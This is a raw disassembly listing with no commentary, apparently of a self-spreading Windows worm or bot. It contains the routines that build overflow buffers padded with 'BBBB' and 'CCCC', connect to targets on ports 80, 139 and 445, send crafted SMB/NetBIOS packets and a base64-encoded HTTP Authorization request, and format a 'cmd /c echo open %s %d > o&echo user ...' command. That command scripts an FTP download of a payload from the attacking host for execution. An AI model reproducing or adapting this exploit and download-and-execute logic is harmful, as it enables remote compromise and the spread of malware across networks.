arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40195B
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_401F0B
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_401F0B
push esi
lea ecx, [ebp+var_30]
call sub_40195B
lea ecx, [ebp+var_20]
call sub_40195B
lea ecx, [ebp+var_50]
call sub_40195B
lea ecx, [ebp+var_18]
call sub_40195B
lea ecx, [ebp+var_40]
call sub_40195B
lea ecx, [ebp+var_38]
call sub_40195B
lea ecx, [ebp+var_28]
call sub_40195B
push 4
push offset dword_4195A4
lea ecx, [ebp+var_30]
call sub_401B0B
push 3
push offset dword_4195AC
lea ecx, [ebp+var_30]
call sub_401B0B
lea ecx, [ebp+var_30]
call sub_401A91
lea ecx, [ebp+var_30]
call sub_401B6C
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_40B630
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_401B0B
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_401B0B
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_401B0B
lea ecx, [ebp+var_20]
call sub_401A91
push offset loc_419938
lea ecx, [ebp+var_50]
call sub_401B3F
lea ecx, [ebp+var_50]
call sub_401A91
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_40B630
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_401965
lea ecx, [ebp+var_58]
call sub_401A91
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_401BA8
lea ecx, [ebp+var_58]
call sub_4019F4
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_40B630
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_401B3F
push 4
push offset dword_4195B0
lea ecx, [ebp+var_18]
call sub_401B0B
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_401B0B
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_401B0B
lea ecx, [ebp+var_18]
call sub_401A91
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_401B5C
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_401B5C
lea ecx, [ebp+var_40]
call sub_401B6C
lea ecx, [ebp+var_18]
call sub_4019F4
lea ecx, [ebp+var_50]
call sub_4019F4
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_401B5C
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_401B5C
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_401B5C
lea ecx, [ebp+var_38]
call sub_401B6C
lea ecx, [ebp+var_20]
call sub_4019F4
lea ecx, [ebp+var_30]
call sub_4019F4
lea ecx, [ebp+var_40]
call sub_4019F4
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_40B630
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_401B0B
lea ecx, [ebp+var_28]
call sub_401A91
push 2
push offset dword_41992C
lea ecx, [ebp+var_28]
call sub_401B0B
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_401B5C
lea ecx, [ebp+var_28]
call sub_401B6C
lea ecx, [ebp+var_38]
call sub_4019F4
lea ecx, [ebp+var_10]
call sub_40195B
lea ecx, [ebp+var_8]
call sub_40195B
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_401B5C
lea ecx, [ebp+var_10]
call sub_401A0D
lea ecx, [ebp+var_28]
call sub_4019F4
push offset dword_419928
lea ecx, [ebp+var_8]
call sub_401B3F
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_401B5C
lea ecx, [ebp+var_8]
call sub_401A0D
lea ecx, [ebp+var_10]
call sub_4019F4
push offset dword_419924
lea ecx, [ebp+var_10]
call sub_401B3F
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_401B5C
lea ecx, [ebp+var_10]
call sub_401A0D
lea ecx, [ebp+var_8]
call sub_4019F4
push offset dword_419918
lea ecx, [ebp+var_8]
call sub_401B3F
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_401B5C
lea ecx, [ebp+var_8]
call sub_401A0D
lea ecx, [ebp+var_10]
call sub_4019F4
push offset dword_419914
lea ecx, [ebp+var_48]
call sub_401B3F
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_401B5C
lea ecx, [ebp+var_8]
call sub_4019F4
pop esi
loc_401F0B: ; CODE XREF: sub_401BC7+1Bj
; sub_401BC7+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop edi
pop ebx
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
leave
retn
sub_401BC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401F1D proc near ; CODE XREF: sub_401FE1+A2p
; sub_401FE1+C7p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
mov esi, [ebp+arg_0]
lea eax, [ebp+var_8]
push edi
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
xor edi, edi
push eax
lea eax, [esi+1]
inc edi
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call dword_4171B0 ; select
cmp eax, edi
jnz short loc_401F84
lea eax, [ebp+var_10C]
push eax
push esi
call sub_416438 ; __WSAFDIsSet
test eax, eax
jnz short loc_401F88
loc_401F84: ; CODE XREF: sub_401F1D+54j
xor eax, eax
jmp short loc_401F98
; ---------------------------------------------------------------------------
loc_401F88: ; CODE XREF: sub_401F1D+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_42B3EC ; recv
loc_401F98: ; CODE XREF: sub_401F1D+69j
pop edi
pop esi
leave
retn
sub_401F1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401F9C proc near ; CODE XREF: sub_401FE1+80p
; sub_401FE1+AEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_42B3D0 ; htonl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_42B420 ; send
cmp eax, 4
jz short loc_401FC6
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_401FC6: ; CODE XREF: sub_401F9C+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_42B420 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_401F9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401FE1 proc near ; CODE XREF: sub_4020C0+48p
; sub_4023B8+179p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_40B6BF
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40200A
xor al, al
jmp loc_4020BB
; ---------------------------------------------------------------------------
loc_40200A: ; CODE XREF: sub_401FE1+20j
push ebx
push 0
push esi
call sub_40B630
push 2Fh
push offset dword_419640
push esi
call sub_40B210
push 8
lea eax, [esi+31h]
push offset dword_419670
push eax
mov [esi+2Fh], di
call sub_40B210
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_40B210
push 6
add ebx, edi
push offset dword_422264
push ebx
call sub_40B210
push 85h
push offset dword_4195B8
push [ebp+arg_0]
call sub_401F9C
add esp, 48h
test al, al
jnz short loc_402071
loc_40206D: ; CODE XREF: sub_401FE1+B8j
xor bl, bl
jmp short loc_4020B2
; ---------------------------------------------------------------------------
loc_402071: ; CODE XREF: sub_401FE1+8Aj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_401F1D
push [ebp+var_4]
push esi
push [ebp+arg_0]
call sub_401F9C
add esp, 1Ch
test al, al
jz short loc_40206D
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_401F1D
add esp, 10h
mov bl, 1
loc_4020B2: ; CODE XREF: sub_401FE1+8Ej
push esi
call sub_40B771
pop ecx
mov al, bl
loc_4020BB: ; CODE XREF: sub_401FE1+24j
pop edi
pop esi
pop ebx
leave
retn
sub_401FE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4020C0 proc near ; CODE XREF: sub_4023B8+15Fp
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_419680
push [ebp+arg_0]
call dword_4171AC ; send
cmp eax, 48h
jnz short loc_4020FB
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_401F1D
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_4020FB
cmp [ebp+var_20], 82h
jz short loc_4020FF
loc_4020FB: ; CODE XREF: sub_4020C0+1Bj
; sub_4020C0+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_4020FF: ; CODE XREF: sub_4020C0+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401FE1
add esp, 0Ch
leave
retn
sub_4020C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402112 proc near ; CODE XREF: sub_40215E+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_417208
call sub_40B8FC
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_417200
fstp [esp+10h+var_10]
call sub_40B7DA
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_40B8FC
inc eax
leave
retn
sub_402112 endp
; =============== S U B R O U T I N E =======================================
sub_40215E proc near ; CODE XREF: sub_4022FD+24p
var_40 = qword ptr -40h
mov eax, offset loc_416597
call sub_40BDC8
sub esp, 2Ch
push ebx
push esi
push edi
xor edi, edi
mov [ebp-20h], edi
mov al, [ebp+13h]
push edi
lea ecx, [ebp-38h]
mov [ebp-38h], al
call sub_402790
push dword ptr [ebp+10h]
xor ebx, ebx
inc ebx
mov [ebp-4], ebx
call sub_402112
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_4021A0
push edi
push eax
lea ecx, [ebp-38h]
call sub_40270A
loc_4021A0: ; CODE XREF: sub_40215E+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_4022BE
mov ebx, [ebp+10h]
loc_4021AF: ; CODE XREF: sub_40215E+157j
cmp dword ptr [ebp+10h], 3
jb short loc_4021BA
push 3
loc_4021B7: ; CODE XREF: sub_40215E+64j
pop ebx
jmp short loc_4021CD
; ---------------------------------------------------------------------------
loc_4021BA: ; CODE XREF: sub_40215E+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_4021C4
push 2
jmp short loc_4021B7
; ---------------------------------------------------------------------------
loc_4021C4: ; CODE XREF: sub_40215E+60j
cmp dword ptr [ebp+10h], 1
jnz short loc_4021CD
xor ebx, ebx
inc ebx
loc_4021CD: ; CODE XREF: sub_40215E+5Aj
; sub_40215E+6Aj
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_417210
fstp [esp+40h+var_40]
call sub_40B923
pop ecx
pop ecx
call sub_40B8FC
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40220C
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40220C: ; CODE XREF: sub_40215E+94j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40227A
add [ebp-18h], eax
loc_40225E: ; CODE XREF: sub_40215E+11Aj
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_4196D0[eax]
push eax
push 1
call sub_40258B
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40225E
loc_40227A: ; CODE XREF: sub_40215E+FBj
cmp dword ptr [ebp-18h], 48h
jb short loc_402298
push dword ptr [ebp+14h]
call sub_40B5B0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_4025E5
mov [ebp-18h], edi
loc_402298: ; CODE XREF: sub_40215E+120j
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_4022B2
sub esi, [ebp-1Ch]
loc_4022A3: ; CODE XREF: sub_40215E+152j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40258B
dec esi
jnz short loc_4022A3
loc_4022B2: ; CODE XREF: sub_40215E+140j
cmp [ebp+10h], edi
ja loc_4021AF
xor ebx, ebx
inc ebx
loc_4022BE: ; CODE XREF: sub_40215E+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_402790
push 0FFFFFFFFh
lea eax, [ebp-38h]
push edi
push eax
mov ecx, esi
call sub_40263D
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_402790
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40215E endp
; =============== S U B R O U T I N E =======================================
sub_4022FD proc near ; CODE XREF: sub_4023B8+142p
mov eax, offset loc_4165B4
call sub_40BDC8
sub esp, 10h
push ebx
push esi
push edi
push offset byte_422270
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40215E
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_40B6BF
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_402347
xor bl, bl
jmp short loc_40238B
; ---------------------------------------------------------------------------
loc_402347: ; CODE XREF: sub_4022FD+44j
mov ecx, [ebp-18h]
mov eax, offset dword_417218
cmp ecx, ebx
jnz short loc_402355
mov ecx, eax
loc_402355: ; CODE XREF: sub_4022FD+54j
cmp [ebp+18h], ebx
jz short loc_40235D
mov eax, [ebp+18h]
loc_40235D: ; CODE XREF: sub_4022FD+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_40BDE7
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_42B420 ; send
cmp eax, esi
jz short loc_402382
xor bl, bl
jmp short loc_402384
; ---------------------------------------------------------------------------
loc_402382: ; CODE XREF: sub_4022FD+7Fj
mov bl, 1
loc_402384: ; CODE XREF: sub_4022FD+83j
push edi
call sub_40B771
pop ecx
loc_40238B: ; CODE XREF: sub_4022FD+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_402790
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_402790
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_4022FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4023B8 proc near ; CODE XREF: sub_40154B+17Cp
; DATA XREF: .nsp0:off_41906Co
var_420 = byte ptr -420h
var_41F = byte ptr -41Fh
var_391 = byte ptr -391h
var_20 = dword ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_BB = byte ptr 0C3h
push ebp
mov ebp, esp
sub esp, 420h
and [ebp+var_420], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_41F]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp+var_420]
push offset sub_419880
push eax
call sub_40B210
add esp, 0Ch
mov eax, offset byte_41C1A0
push eax
push eax
movzx eax, word ptr dword_42B2B4
push eax
push [ebp+arg_0]
call sub_405752
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp+var_391]
push 400h
push eax
call sub_40BDE7
add eax, 90h
push eax
lea eax, [ebp+var_420]
push eax
push 164h
lea eax, [ebp+var_8]
push offset sub_419718
push eax
call sub_401BC7
xor esi, esi
add esp, 30h
cmp [ebp+var_4], esi
jnz short loc_402456
xor eax, eax
jmp loc_40257E
; ---------------------------------------------------------------------------
loc_402456: ; CODE XREF: sub_4023B8+95j
mov [ebp+var_C], esi
loc_402459: ; CODE XREF: sub_4023B8+1A1j
test esi, esi
jnz loc_40255F
push 6
push 1
push 2
call dword_4171A8 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_402547
xor eax, eax
lea edi, [ebp+var_1A]
stosd
push [ebp+arg_A0]
stosd
stosd
stosw
mov [ebp+var_1C], 2
call dword_42B3D4 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+arg_4]
push eax
call dword_42B410 ; inet_addr
mov [ebp+var_18], eax
lea eax, [ebp+var_1C]
push 10h
push eax
push ebx
call dword_42B380 ; connect
cmp eax, 0FFFFFFFFh
jz loc_40253C
cmp [ebp+arg_A0], 50h
jnz short loc_402504
mov al, [ebp+arg_BB]
sub esp, 10h
mov esi, esp
mov [ebp+var_20], esp
push 0
mov ecx, esi
mov [esi], al
call sub_402790
lea eax, [ebp+arg_4]
push eax
call sub_40B5B0
pop ecx
push eax
lea eax, [ebp+arg_4]
push eax
mov ecx, esi
call sub_4027C8
push [ebp+var_4]
push [ebp+var_8]
push ebx
call sub_4022FD
add esp, 1Ch
jmp short loc_402539
; ---------------------------------------------------------------------------
loc_402504: ; CODE XREF: sub_4023B8+10Aj
cmp [ebp+arg_A0], 8Bh
jnz short loc_40251E
push [ebp+var_4]
push [ebp+var_8]
push ebx
call sub_4020C0
jmp short loc_402536
; ---------------------------------------------------------------------------
loc_40251E: ; CODE XREF: sub_4023B8+156j
cmp [ebp+arg_A0], 1BDh
jnz short loc_40253C
push [ebp+var_4]
push [ebp+var_8]
push ebx
call sub_401FE1
loc_402536: ; CODE XREF: sub_4023B8+164j
add esp, 0Ch
loc_402539: ; CODE XREF: sub_4023B8+14Aj
movzx esi, al
loc_40253C: ; CODE XREF: sub_4023B8+FDj
; sub_4023B8+170j
push ebx
call dword_42B468 ; closesocket
test esi, esi
jnz short loc_402552
loc_402547: ; CODE XREF: sub_4023B8+BAj
push 3E8h
call dword_417040 ; Sleep
loc_402552: ; CODE XREF: sub_4023B8+18Dj
inc [ebp+var_C]
cmp [ebp+var_C], 2
jl loc_402459
loc_40255F: ; CODE XREF: sub_4023B8+A3j
lea ecx, [ebp+var_8]
call sub_4019F4
test esi, esi
jz short loc_40257C
mov eax, [ebp+arg_A8]
imul eax, 3Ch
lea eax, dword_419070[eax]
inc dword ptr [eax]
loc_40257C: ; CODE XREF: sub_4023B8+1B1j
mov eax, esi
loc_40257E: ; CODE XREF: sub_4023B8+99j
pop edi
pop esi
pop ebx
leave
retn
sub_4023B8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_416578
loc_402583: ; CODE XREF: sub_416578+3j
; .nsp0:00416591j ...
push 1
call sub_402790
retn
; END OF FUNCTION CHUNK FOR sub_416578
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40258B proc near ; CODE XREF: sub_40215E+111p
; sub_40215E+14Cp
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_0]
ja short loc_4025A2
call sub_4160E0
loc_4025A2: ; CODE XREF: sub_40258B+10j
cmp [ebp+arg_0], 0
jbe short loc_4025DD
mov edi, [esi+8]
push 0
add edi, [ebp+arg_0]
mov ecx, esi
push edi
call sub_40270A
test al, al
jz short loc_4025DD
movsx eax, [ebp+arg_4]
push [ebp+arg_0]
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_40B630
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_4025DD: ; CODE XREF: sub_40258B+1Bj
; sub_40258B+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_40258B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4025E5 proc near ; CODE XREF: sub_40215E+132p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_4]
ja short loc_4025FC
call sub_4160E0
loc_4025FC: ; CODE XREF: sub_4025E5+10j
cmp [ebp+arg_4], 0
jbe short loc_402635
mov edi, [esi+8]
push 0
add edi, [ebp+arg_4]
mov ecx, esi
push edi
call sub_40270A
test al, al
jz short loc_402635
push [ebp+arg_4]
mov eax, [esi+8]
add eax, [esi+4]
push [ebp+arg_0]
push eax
call sub_40B210
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_402635: ; CODE XREF: sub_4025E5+1Bj
; sub_4025E5+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_4025E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40263D proc near ; CODE XREF: sub_40215E+179p
; sub_41613A+46p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_402655
call sub_41630C
loc_402655: ; CODE XREF: sub_40263D+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_402667
mov esi, [ebp+arg_8]
loc_402667: ; CODE XREF: sub_40263D+25j
cmp edi, ebx
jnz short loc_402685
add esi, ecx
push 0FFFFFFFFh
push esi
mov ecx, edi
call sub_4027FD
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_4027FD
jmp short loc_402701
; ---------------------------------------------------------------------------
loc_402685: ; CODE XREF: sub_40263D+2Cj
test esi, esi
jbe short loc_4026C8
cmp esi, eax
jnz short loc_4026C8
mov eax, [ebx+4]
test eax, eax
jnz short loc_402699
mov eax, offset dword_417218
loc_402699: ; CODE XREF: sub_40263D+55j
cmp byte ptr [eax-1], 0FEh
jnb short loc_4026C8
push 1
mov ecx, edi
call sub_402790
mov eax, [ebx+4]
test eax, eax
jnz short loc_4026B4
mov eax, offset dword_417218
loc_4026B4: ; CODE XREF: sub_40263D+70j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_402701
; ---------------------------------------------------------------------------
loc_4026C8: ; CODE XREF: sub_40263D+4Aj
; sub_40263D+4Ej ...
push 1
push esi
mov ecx, edi
call sub_40270A
test al, al
jz short loc_402701
mov eax, [ebp+arg_0]
mov eax, [eax+4]
test eax, eax
jnz short loc_4026E5
mov eax, offset dword_417218
loc_4026E5: ; CODE XREF: sub_40263D+A1j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_40B210
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_402701: ; CODE XREF: sub_40263D+46j
; sub_40263D+89j ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40263D endp
; =============== S U B R O U T I N E =======================================
sub_40270A proc near ; CODE XREF: sub_40215E+3Dp
; sub_40258B+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40271C
call sub_4160E0
loc_40271C: ; CODE XREF: sub_40270A+Bj
mov eax, [esi+4]
xor edx, edx
cmp eax, edx
jz short loc_402744
mov cl, [eax-1]
cmp cl, dl
jz short loc_402744
cmp cl, 0FFh
jz short loc_402744
cmp edi, edx
mov ecx, esi
jnz short loc_402783
dec byte ptr [eax-1]
push edx
loc_40273B: ; CODE XREF: sub_40270A+48j
call sub_402790
loc_402740: ; CODE XREF: sub_40270A+4Cj
; sub_40270A+53j
xor al, al
jmp short loc_40278B
; ---------------------------------------------------------------------------
loc_402744: ; CODE XREF: sub_40270A+19j
; sub_40270A+20j ...
cmp edi, edx
jnz short loc_40275F
cmp [esp+8+arg_4], dl
jz short loc_402754
push 1
mov ecx, esi
jmp short loc_40273B
; ---------------------------------------------------------------------------
loc_402754: ; CODE XREF: sub_40270A+42j
cmp eax, edx
jz short loc_402740
mov [esi+8], edx
mov [eax], dl
jmp short loc_402740
; ---------------------------------------------------------------------------
loc_40275F: ; CODE XREF: sub_40270A+3Cj
cmp [esp+8+arg_4], dl
jz short loc_40277C
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_402771
cmp eax, edi
jnb short loc_402789
loc_402771: ; CODE XREF: sub_40270A+61j
push 1
mov ecx, esi
call sub_402790
jmp short loc_402781
; ---------------------------------------------------------------------------
loc_40277C: ; CODE XREF: sub_40270A+59j
cmp [esi+0Ch], edi
jnb short loc_402789
loc_402781: ; CODE XREF: sub_40270A+70j
mov ecx, esi
loc_402783: ; CODE XREF: sub_40270A+2Bj
push edi
call sub_402864
loc_402789: ; CODE XREF: sub_40270A+65j
; sub_40270A+75j
mov al, 1
loc_40278B: ; CODE XREF: sub_40270A+38j
pop edi
pop esi
retn 8
sub_40270A endp
; =============== S U B R O U T I N E =======================================
sub_402790 proc near ; CODE XREF: sub_40215E+1Fp
; sub_40215E+16Bp ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_4027B8
mov eax, [esi+4]
test eax, eax
jz short loc_4027B8
dec eax
mov cl, [eax]
test cl, cl
jz short loc_4027B1
cmp cl, 0FFh
jz short loc_4027B1
dec byte ptr [eax]
jmp short loc_4027B8
; ---------------------------------------------------------------------------
loc_4027B1: ; CODE XREF: sub_402790+16j
; sub_402790+1Bj
push eax
call sub_40BE38
pop ecx
loc_4027B8: ; CODE XREF: sub_402790+8j
; sub_402790+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_402790 endp
; =============== S U B R O U T I N E =======================================
sub_4027C8 proc near ; CODE XREF: sub_4023B8+136p
; sub_402921+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
push edi
mov esi, ecx
call sub_40270A
test al, al
jz short loc_4027F6
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_40B210
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_4027F6: ; CODE XREF: sub_4027C8+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_4027C8 endp
; =============== S U B R O U T I N E =======================================
sub_4027FD proc near ; CODE XREF: sub_40263D+35p
; sub_40263D+41p
